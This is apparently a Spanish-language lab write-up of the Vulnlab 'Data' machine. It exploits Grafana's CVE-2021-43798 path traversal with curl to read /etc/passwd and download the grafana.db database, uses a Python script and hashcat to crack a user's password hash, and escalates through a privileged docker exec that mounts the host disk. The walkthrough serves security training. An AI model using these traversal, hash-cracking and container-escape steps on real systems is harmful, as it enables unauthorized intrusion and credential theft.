Data – Writeup (Vulnlab)




██████╗░░█████╗░████████╗░█████╗░     |  OS ---> LINUX
██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗     |  Difficult ---> Easy
██║░░██║███████║░░░██║░░░███████║
██║░░██║██╔══██║░░░██║░░░██╔══██║     |  by shkz
██████╔╝██║░░██║░░░██║░░░██║░░██║     |  http://www.vulnlab.com
╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝



sudo nmap --min-rate 4500 --max-rtt-timeout 1500ms -p- 10.10.117.3
Bash




En el puerto 3000 se encuentra corriendo Grafana. La verdad que para ser sincero, desconocía su existencia y su funcionalidad. Asi que investigue un poco.
¿Que es Grafana?. Es una herramienta OpenSource, escrita en lenguaje Go y Node.js.
Su funcionalidad permite visualizar datos de serie temporales. En resumidas palabras, se le pasa data, y este lo gráfica.



Al pie de la imagen más arriba, en el login, se ve que la versión actual de Grafana es la v8.0.0. Procedo a verificar si es vulnerable y con un simple googling encuentro el siguiente CVE-2021-43798 y un exploit escrito en GoLang. Este CVE esta basado en la vulnerabilidad encontrada por el user j0v, y es un Path Traversal, con el cual nos va a permitir acceder a archivos como /etc/passwd o bajar directamente la base de datos.


Reference –> https://github.com/taythebot/CVE-2021-43798


./exploit -target http://data.local:3000 -file /etc/passwd
Bash



Para bajar la base de datos, algo que suena interesante, el help del exploit indica el argumento “-dump-database”



Esto nos volcaría toda la db. Tenemos otro modo mas cómodo con curl y que cumple la misma función, eso si necesitamos ver el exploit lo que explota literalmente el path traversal para replicarlo manualmente, luego lo bajamos como archivo del siguiente modo:

 curl -o grafana.db --path-as-is http://data.vl:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db
Bash


Podemos abrir cómodamente el archivo .db con DB Browser for SQLite, un freeware tool gráfico, o usar el comando sqlite3. De cualquier modo, obtendremos lo siguiente:



Luego de buscar un poco por internet, familiarizarme como es que realiza el encriptado para intentar crackearlo, verifico esta pagina completa de como explotar y luego crackear los hashes.

Referencehttps://vulncheck.com/blog/grafana-cve-2021-43798

Los hashes son creados usando PBKDF2-HMAC-SHA256. El cual puede ser crackeado por HASHCAT.



Siguiendo la lectura de la web, hay una porción de código que junto a los datos de la base que descargamos podríamos generar un formato de hash correcto para pasarlo a hashcat.



Adapto ese codigo a python3:

#!/usr/bin/env python3
# _*_ CODING:UTF8 _*_
# by shkz

import sqlite3
import base64
import hashlib

# Connecting to DB
conn = sqlite3.connect('grafana.db')
cursor = conn.cursor()

cursor.execute("SELECT email, password, salt, rands FROM user WHERE login = 'boris'")
rows = cursor.fetchall()

# Writing to File: hashFile.txt
with open('hashFile.txt', 'w') as hash_file:
    for row in rows:
        email, password, salt, rands = row
        decoded_hash = bytes.fromhex(password)
        hash64 = base64.standard_b64encode(decoded_hash).decode('utf-8')
        salt64 = base64.standard_b64encode(salt.encode('utf-8')).decode('utf-8')
        hash_file.write(f"sha256:10000:{salt64}:{hash64}\n")
conn.close()
print("\nFile created: hashFile.txt\n")
Python


Ejecutando el codigo me lo formatea del siguiente modo:



Si verifico en la listas de ejemplo de hashcat:
https://hashcat.net/wiki/doku.php?id=example_hashes

Logro identificar nuestro objetivo:



Crackeamos el archivo hashFile.txt creado con la info del usuario BORIS de la db:

hashcat -m 10900 hashFile.txt ~/w0rd/rockyou.txt
Bash



Luego de unos segundos, Cracked!:



Una vez que estoy como Boris, solo resta hacer cat al user.txt y obtener la flag.
Como es costumbre, verifico el sudo:

sudo -l
Bash

La salida de SUDO nos dice que podríamos ejecutar docker exec como ROOT.
Luego de revisar el host, las conexiones y demás.. noto que claramente estoy dentro de un contenedor. En principio mediante el LFI había conseguido el /etc/passwd, en donde entre esa lista de users existía grafana:


Si vuelvo al exploit y trato de verificar el nombre del contenedor:

./exploit -file /etc/hostname -target http://data.vl:3000
Bash

e6ff5b1cbc85



Luego de saber esto estoy listo para ser root del container:

sudo docker exec -it --privileged -u root e6ff5b1cbc85 sh
Bash



Verifico los discos:



Monto el disco xvda1 a una carpeta en /mnt/testing, y finalmente leo la flag de root/root.txt:

mkdir -p /mnt/testing
mount /dev/xvda1 /mnt/testing/
cat root/root.txt
Bash

Share this :

/Deja_un_comentario.

Leave a Reply

Your email address will not be published. Required fields are marked *